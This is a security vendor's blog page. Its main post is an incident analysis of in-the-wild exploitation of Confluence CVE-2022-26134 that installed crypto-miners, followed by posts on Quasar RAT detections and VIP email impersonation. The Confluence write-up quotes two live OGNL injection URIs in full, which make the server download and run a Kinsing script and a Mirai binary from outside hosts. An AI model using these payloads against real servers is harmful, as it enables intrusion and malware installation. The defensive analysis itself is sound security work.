Blog

Inside the SOC

Detection and guidance for the Confluence CVE-2022-26134 zero-Day

Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
12
Jun 2022
12
Jun 2022
This blog explores the latest vulnerability affecting the Atlassian Confluence suite in June 2022. It contains general guidance and an instance where Darktrace both detected and responded to a customer-facing exploitation of this CVE during the first weekend of in-the-wild attacks. This attack was part of wider crypto-mining activity.

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

INSIDE THE SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
AUTHOR
ABOUT ThE AUTHOR
Gabriel Few-Wiegratz
Head of Threat Intelligence Hub
Book a 1-1 meeting with one of our experts
share this article
USE CASES
No items found.
PRODUCT SPOTLIGHT
No items found.
COre coverage
No items found.

More in this series

No items found.

Blog

Inside the SOC

Quasar Remote Access Tool: When a Legitimate Admin Tool Falls into the Wrong Hands

Default blog imageDefault blog image
23
Feb 2024

The threat of interoperability

As the “as-a-Service” market continues to grow, indicators of compromise (IoCs) and malicious infrastructure are often interchanged and shared between multiple malware strains and attackers. This presents organizations and their security teams with a new threat: interoperability.

Interoperable threats not only enable malicious actors to achieve their objectives more easily by leveraging existing infrastructure and tools to launch new attacks, but the lack of clear attribution often complicates identification for security teams and incident responders, making it challenging to mitigate and contain the threat.

One such threat observed across the Darktrace customer base in late 2023 was Quasar, a legitimate remote administration tool that has becoming increasingly popular for opportunistic attackers in recent years. Working in tandem, the anomaly-based detection of Darktrace DETECT™ and the autonomous response capabilities of Darktrace RESPOND™ ensured that affected customers were promptly made aware of any suspicious activity on the attacks were contained at the earliest possible stage.

What is Quasar?

Quasar is an open-source remote administration tool designed for legitimate use; however, it has evolved to become a popular tool used by threat actors due to its wide array of capabilities.  

How does Quasar work?

For instance, Quasar can perform keylogging, take screenshots, establish a reverse proxy, and download and upload files on a target device [1].  A report released towards the end of 2023 put Quasar back on threat researchers’ radars as it disclosed the new observation of dynamic-link library (DLL) sideloading being used by malicious versions of this tool to evade detection [1].  DLL sideloading involves configuring legitimate Windows software to run a malicious file rather than the legitimate file it usually calls on as the software loads.  The evolving techniques employed by threat actors using Quasar highlights defenders’ need for anomaly-based detections that do not rely on pre-existing knowledge of attacker techniques, and can identify and alert for unusual behavior, even if it is performed by a legitimate application.

Although Quasar has been used by advanced persistent threat (APT) groups for global espionage operations [2], Darktrace observed the common usage of default configurations for Quasar, which appeared to use shared malicious infrastructure, and occurred alongside other non-compliant activity such as BitTorrent use and cryptocurrency mining.  

Quasar Attack Overview and Darktrace Coverage

Between September and October 2023, Darktrace detected multiple cases of malicious Quasar activity across several customers, suggesting probable campaign activity.  

Quasar infections can be difficult to detect using traditional network or host-based tools due to the use of stealthy techniques such as DLL side-loading and encrypted SSL connections for command-and control (C2) communication, that traditional security tools may not be able to identify.  The wide array of capabilities Quasar possesses also suggests that attacks using this tool may not necessarily be modelled against a linear kill chain. Despite this, the anomaly-based detection of Darktrace DETECT allowed it to identify IoCs related to Quasar at multiple stages of the kill chain.

Quasar Initial Infection

During the initial infection stage of a Quasar compromise observed on the network of one customer, Darktrace detected a device downloading several suspicious DLL and executable (.exe) files from multiple rare external sources using the Xmlst user agent, including the executable ‘Eppzjtedzmk[.]exe’.  Analyzing this file using open-source intelligence (OSINT) suggests this is a Quasar payload, potentially indicating this represented the initial infection through DLL sideloading [3].

Interestingly, the Xmlst user agent used to download the Quasar payload has also been associated with Raccoon Stealer, an information-stealing malware that also acts as a dropper for other malware strains [4][5]. The co-occurrence of different malware components is increasingly common across the threat landscape as MaaS operating models increases in popularity, allowing attackers to employ cross-functional components from different strains.

Figure 1: Cyber AI Analyst Incident summarizing the multiple different downloads in one related incident, with technical details for the Quasar payload included. The incident event for Suspicious File Download is also linked to Possible HTTP Command and Control, suggesting escalation of activity following the initial infection.  

Quasar Establishing C2 Communication

During this phase, devices on multiple customer networks were identified making unusual external connections to the IP 193.142.146[.]212, which was not commonly seen in their networks. Darktrace analyzed the meta-properties of these SSL connections without needing to decrypt the content, to alert the usage of an unusual port not typically associated with the SSL protocol, 4782, and the usage of self-signed certificates.  Self-signed certificates do not provide any trust value and are commonly used in malware communications and ill-reputed web servers.  

Further analysis into these alerts using OSINT indicated that 193.142.146[.]212 is a Quasar C2 server and 4782 is the default port used by Quasar [6][7].  Expanding on the self-signed certificate within the Darktrace UI (see Figure 3) reveals a certificate subject and issuer of “CN=Quasar Server CA”, which is also the default self-signed certificate compiled by Quasar [6].

Figure 2: Cyber AI Analyst Incident summarizing the repeated external connections to a rare external IP that was later associated with Quasar.
Figure 3: Device Event Log of the affected device, showing Darktrace’s analysis of the SSL Certificate associated with SSL connections to 193.142.146[.]212.

A number of insights can be drawn from analysis of the Quasar C2 endpoints detected by Darktrace across multiple affected networks, suggesting a level of interoperability in the tooling used by different threat actors. In one instance, Darktrace detected a device beaconing to the endpoint ‘bittorrents[.]duckdns[.]org’ using the aforementioned “CN=Quasar Server CA” certificate. DuckDNS is a dynamic DNS service that could be abused by attackers to redirect users from their intended endpoint to malicious infrastructure, and may be shared or reused in multiple different attacks.

Figure 4: A device’s Model Event Log, showing the Quasar Server CA SSL certificate used in connections to 41.233.139[.]145 on port 5, which resolves via passive replication to ‘bittorrents[.]duckdns[.]org’.  

The sharing of malicious infrastructure among threat actors is also evident as several OSINT sources have also associated the Quasar IP 193.142.146[.]212, detected in this campaign, with different threat types.

While 193.142.146[.]212:4782 is known to be associated with Quasar, 193.142.146[.]212:8808 and 193.142.146[.]212:6606 have been associated with AsyncRAT [11], and the same IP on port 8848 has been associated with RedLineStealer [12].  Aside from the relative ease of using already developed tooling, threat actors may prefer to use open-source malware in order to avoid attribution, making the true identity of the threat actor unclear to incident responders [1][13].  

Quasar Executing Objectives

On multiple customer deployments affected by Quasar, Darktrace detected devices using BitTorrent and performing cryptocurrency mining. While these non-compliant, and potentially malicious, activities are not necessarily specific IoCs for Quasar, they do suggest that affected devices may have had greater attack surfaces than others.

For instance, one affected device was observed initiating connections to 162.19.139[.]184, a known Minergate cryptomining endpoint, and ‘zayprostofyrim[.]zapto[.]org’, a dynamic DNS endpoint linked to the Quasar Botnet by multiple OSINT vendors [9].

Figure 5: A Darktrace DETECT Event Log showing simultaneous connections to a Quasar endpoint and a cryptomining endpoint 162.19.139[.]184.

Not only does cryptocurrency mining use a significant amount of processing power, potentially disrupting an organization’s business operations and racking up high energy bills, but the software used for this mining is often written to a poor standard, thus increasing the attack surfaces of devices using them. In this instance, Quasar may have been introduced as a secondary payload from a user or attacker-initiated download of cryptocurrency mining malware.

Similarly, it is not uncommon for malicious actors to attach malware to torrented files and there were a number of examples of Darktrace detect identifying non-compliant activity, like BitTorrent connections, overlapping with connections to external locations associated with Quasar. It is therefore important for organizations to establish and enforce technical and policy controls for acceptable use on corporate devices, particularly when remote working introduces new risks.  

Figure 6: A device’s Event Log filtered by Model Breaches, showing a device connecting to BitTorrent shortly before making new or repeated connections to unusual endpoints, which were subsequently associated to Quasar.

In some cases observed by Darktrace, devices affected by Quasar were also being used to perform data exfiltration. Analysis of a period of unusual external connections to the aforementioned Quasar C2 botnet server, ‘zayprostofyrim[.]zapto[.]org’, revealed a small data upload, which may have represented the exfiltration of some data to attacker infrastructure.

Darktrace’s Autonomous Response to Quasar Attacks

On customer networks that had Darktrace RESPOND™ enabled in autonomous response mode, the threat of Quasar was mitigated and contained as soon as it was identified by DETECT. If RESPOND is not configured to respond autonomously, these actions would instead be advisory, pending manual application by the customer’s security team.

For example, following the detection of devices downloading malicious DLL and executable files, Darktrace RESPOND advised the customer to block specific connections to the relevant IP addresses and ports. However, as the device was seen attempting to download further files from other locations, RESPOND also suggested enforced a ‘pattern of life’ on the device, meaning it was only permitted to make connections that were part its normal behavior. By imposing a pattern of life, Darktrace RESPOND ensures that a device cannot perform suspicious behavior, while not disrupting any legitimate business activity.

Had RESPOND been configured to act autonomously, these mitigative actions would have been applied without any input from the customer’s security team and the Quasar compromise would have been contained in the first instance.

Figure 7: The advisory actions Darktrace RESPOND initiated to block specific connections to a malicious IP and to enforce the device’s normal patterns of life in response to the different anomalies detected on the device.

In another case, one customer affected by Quasar did have enabled RESPOND to take autonomous action, whilst also integrating it with a firewall. Here, following the detection of a device connecting to a known Quasar IP address, RESPOND initially blocked it from making connections to the IP via the customer’s firewall. However, as the device continued to perform suspicious activity after this, RESPOND escalated its response by blocking all outgoing connections from the device, effectively preventing any C2 activity or downloads.

Figure 8: RESPOND actions triggered to action via integrated firewall and TCP Resets.

Conclusion

When faced with a threat like Quasar that utilizes the infrastructure and tools of both legitimate services and other malicious malware variants, it is essential for security teams to move beyond relying on existing knowledge of attack techniques when safeguarding their network. It is no longer enough for organizations to rely on past attacks to defend against the attacks of tomorrow.

Crucially, Darktrace’s unique approach to threat detection focusses on the anomaly, rather than relying on a static list of IoCs or "known bads” based on outdated threat intelligence. In the case of Quasar, alternative or future strains of the malware that utilize different IoCs and TTPs would still be identified by Darktrace as anomalous and immediately alerted.

By learning the ‘normal’ for devices on a customer’s network, Darktrace DETECT can recognize the subtle deviations in a device’s behavior that could indicate an ongoing compromise. Darktrace RESPOND is subsequently able to follow this up with swift and targeted actions to contain the attack and prevent it from escalating further.

Credit to Nicole Wong, Cyber Analyst, Vivek Rajan Cyber Analyst

Appendices

Darktrace DETECT Model Breaches

  • Anomalous Connection / Multiple Failed Connections to Rare Endpoint
  • Anomalous Connection / Anomalous SSL without SNI to New External
  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / Rare External SSL Self-Signed
  • Compromise / New or Repeated to Unusual SSL Port
  • Compromise / Beaconing Activity To External Rare
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Unusual Activity / Unusual External Activity

List of IoCs

IP:Port

193.142.146[.]212:4782 -Quasar C2 IP and default port

77.34.128[.]25: 8080 - Quasar C2 IP

Domain

zayprostofyrim[.]zapto[.]org - Quasar C2 Botnet Endpoint

bittorrents[.]duckdns[.]org - Possible Quasar C2 endpoint

Certificate

CN=Quasar Server CA - Default certificate used by Quasar

Executable

Eppzjtedzmk[.]exe - Quasar executable

IP Address

95.214.24[.]244 - Quasar C2 IP

162.19.139[.]184 - Cryptocurrency Miner IP

41.233.139[.]145[VR1] [NW2] - Possible Quasar C2 IP

MITRE ATT&CK Mapping

Command and Control

T1090.002: External Proxy

T1071.001: Web Protocols

T1571: Non-Standard Port

T1001: Data Obfuscation

T1573: Encrypted Channel

T1071: Application Layer Protocol

Resource Development

T1584: Compromise Infrastructure

References

[1] https://thehackernews.com/2023/10/quasar-rat-leverages-dll-side-loading.html

[2] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage

[3]https://www.virustotal.com/gui/file/bd275a1f97d1691e394d81dd402c11aaa88cc8e723df7a6aaf57791fa6a6cdfa/community

[4] https://twitter.com/g0njxa/status/1691826188581298389

[5] https://www.linkedin.com/posts/grjk83_raccoon-stealer-announce-return-after-hiatus-activity-7097906612580802560-1aj9

[6] https://community.netwitness.com/t5/netwitness-community-blog/using-rsa-netwitness-to-detect-quasarrat/ba-p/518952

[7] https://www.cisa.gov/news-events/analysis-reports/ar18-352a

[8]https://any.run/report/6cf1314c130a41c977aafce4585a144762d3fb65f8fe493e836796b989b002cb/7ac94b56-7551-4434-8e4f-c928c57327ff

[9] https://threatfox.abuse.ch/ioc/891454/

[10] https://www.virustotal.com/gui/ip-address/41.233.139.145/relations

[11] https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/asyncrat.txt

[12] https://sslbl.abuse.ch/ssl-certificates/signature/RedLineStealer/

[13] https://www.botconf.eu/botconf-presentation-or-article/hunting-the-quasar-family-how-to-hunt-a-malware-family/

Continue reading
About the author
Nicole Wong
Cyber Security Analyst

Blog

No items found.

Attack Trends: VIP Impersonation Across the Business Hierarchy

Default blog imageDefault blog image
22
Feb 2024

What is VIP impersonation?

VIP impersonation involves a threat actor impersonating a trusted, prominent figure at an organization in an attempt to solicit sensitive information from an employee.

VIP impersonation is a high-priority issue for security teams, but it can be difficult to assess the exact risks, and whether those are more critical than other types of compromise. Looking across a range of Darktrace/Email™ customer deployments, this blog explores the patterns of individuals targeted for impersonation and evaluates if these target priorities correspond with security teams' focus on protecting attack pathways to critical assets.

How do security teams stop VIP Impersonation?

Protecting VIP entities within an organization has long been a traditional focus for security teams. The assumption is that VIPs, due to their prominence, possess the greatest access to critical assets, making them prime targets for cyber threats.  

Email remains the predominant vector for attacks, with over 90% of breaches originating from malicious emails. However, the dynamics of email-based attacks are shifting, as the widespread use of generative AI is lowering the barrier to entry by allowing adversaries to create hyper-realistic emails with minimal errors.

Given these developments, it's worth asking the question – which entities (VIP/non-VIP) are most targeted by threat actors via email? And, more importantly – which entities (VIP/non-VIP) are more valuable if they are successfully compromised?

There are two types of VIPs:  

1. When referring to emails and phishing, VIPs are the users in an organization who are well known publicly.  

2. When referring to attack paths, VIPs are users in an organization that are known publicly and have access to highly privileged assets.  

Not every prominent user has access to critical assets, and not every user that has access to critical assets is prominent.  

Darktrace analysis of VIP impersonation

We analyzed patterns of attack pathways and phishing attempts across 20 customer deployments from a large, randomized pool encompassing a diverse range of organizations.  

Understanding Attack Pathways

Our observations revealed that 57% of low-difficulty attack paths originated from VIP entities, while 43% of observed low-difficulty attack paths towards critical assets or entities began through non-VIP users. This means that targeting VIPs is not the only way attackers can reach critical assets, and that non-VIP users must be considered as well.  

While the sample size prevents us from establishing statistical significance across all customers, the randomized selection lends credence to the generalizability of these findings to other environments.

Phishing Attempts  

On average, 1.35% of total emails sent to these customers exhibited significantly malicious properties associated with phishing or some form of impersonation. Strikingly, nearly half of these malicious emails (49.6%) were directed towards VIPs, while the rest were sent to non-VIPs. This near-equal split is worth noting, as attack paths show that non-VIPs also serve as potential entry points for targeting critical assets.  

Darktrace/Email UI
Figure 1: A phishing email actioned by Darktrace, sent to multiple VIP and non-VIP entities

For example, a recent phishing campaign targeted multiple customers across deployments, with five out of 13 emails specifically aimed at VIP users. Darktrace/Email actioned the malicious emails by double locking the links, holding the messages, and stripping the attachments.

Given that non-VIP users receive nearly half of the phishing or impersonation emails, it underscores the critical importance for security teams to recognize their blind spots in protecting critical assets. Overlooking the potential threat originating from non-VIP entities could lead to severe consequences. For instance, if a non-VIP user falls victim to a phishing attack or gets compromised, their credentials could be exploited to move laterally within the organization, potentially reaching critical assets.

This highlights the necessity for a sophisticated security tool that can identify targeted users, without the need for extensive customization and regardless of VIP status. By deploying a solution capable of promptly responding to email threats – including solicitation, phishing attempts, and impersonation – regardless of the status of the targeted user, security teams can significantly enhance their defense postures.

Darktrace vs Traditional Email Detection Methods

Traditional rules and signatures-based detection mechanisms fall short in identifying the evolving threats we’ve observed, due to their reliance on knowledge of past attacks to categorize emails.

Secure Email Gateway (SEG) or Integrated Cloud Email Security (ICES) tools categorize emails based on previous or known attacks, operating on a known-good or known-bad model. Even if tools use AI to automate this process, the approach is still fundamentally looking to the past and therefore vulnerable to unknown and zero-day threats.  

Darktrace uses AI to understand each unique organization and how its email environment interoperates with each user and device on the network. Consequently, it is able to identify the subtle deviations from normal behavior that qualify as suspicious. This approach goes beyond simplistic categorizations, considering factors such as the sender’s history and recipient’s exposure score.  

This nuanced analysis enables Darktrace to differentiate between genuine communications and malicious impersonation attempts. It automatically understands who is a VIP, without the need for manual input, and will action more strongly on incoming malicious emails  based on a user’s status.

Email does determine who is a VIP, without a need of manual input, and will action more strongly on incoming malicious emails.

Darktrace/Email also feeds into Darktrace’s preventative security tools, giving the interconnected AI engines further context for assessing the high-value targets and pathways to vital internal systems and assets that start via the inbox.

Leveraging AI for Enhanced Protection Across the Enterprise  

The efficacy of AI-driven security solutions lies in their ability to make informed decisions and recommendations based on real-time business data. By leveraging this data, AI driven solutions can identify exploitable attack pathways and an organizations most critical assets. Darktrace uniquely uses several forms of AI to equip security teams with the insights needed to make informed decisions about which pathways to secure, reducing human bias around the importance of protecting VIPs.

With the emergence of tools like AutoGPT, identifying potential targets for phishing attacks has become increasingly simplified. However, the real challenge lies in gaining a comprehensive understanding of all possible and low-difficulty attack paths leading to critical assets and identities within the organization.

At the same time, organizations need email tools that can leverage the understanding of users to prevent email threats from succeeding in the first instance. For every email and user, Darktrace/Email takes into consideration changes in behavior from the sender, recipient, content, and language, and many other factors.

Integrating Darktrace/Email with Darktrace’s attack path modeling capabilities enables comprehensive threat contextualization and facilitates a deeper understanding of attack pathways. This holistic approach ensures that all potential vulnerabilities, irrespective of the user's status, are addressed, strengthening the overall security posture.  

Conclusion

Contrary to conventional wisdom, our analysis suggests that the distinction between VIPs and non-VIPs in terms of susceptibility to impersonation and low-difficulty attack paths is not as pronounced as presumed. Therefore, security teams must adopt a proactive stance in safeguarding all pathways, rather than solely focusing on VIPs.  

Attack path modeling enhances Darktrace/Email's capabilities by providing crucial metrics on potential impact, damage, exposure, and weakness, enabling more targeted and effective threat mitigation strategies. For example, stronger email actions can be enforced for users who are known to have a high potential impact in case of compromise. 

In an era where cyber threats continue to evolve in complexity, an adaptive and non-siloed approach to securing inboxes, high-priority individuals, and critical assets is indispensable.  

Continue reading
About the author
Kendra Gonzalez Duran
Director of Technology Innovation

Good news for your business.
Bad news for the bad guys.

Start your free trial

Start your free trial

Flexible delivery
Cloud-based deployment.
Fast install
Just 1 hour to set up – and even less for an email security trial.
Choose your journey
Try out Self-Learning AI wherever you most need it — including cloud, network or email.
No commitment
Full access to the Darktrace Threat Visualizer and three bespoke Threat Reports, with no obligation to purchase.
For more information, please see our Privacy Notice.
Thanks, your request has been received
A member of our team will be in touch with you shortly.
YOU MAY FIND INTERESTING
Oops! Something went wrong while submitting the form.

Get a demo

Flexible delivery
You can either install it virtually or with hardware.
Fast install
Just 1 hour to set up – and even less for an email security trial.
Choose your journey
Try out Self-Learning AI wherever you most need it — including cloud, network or email.
No commitment
Full access to the Darktrace Threat Visualizer and three bespoke Threat Reports, with no obligation to purchase.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.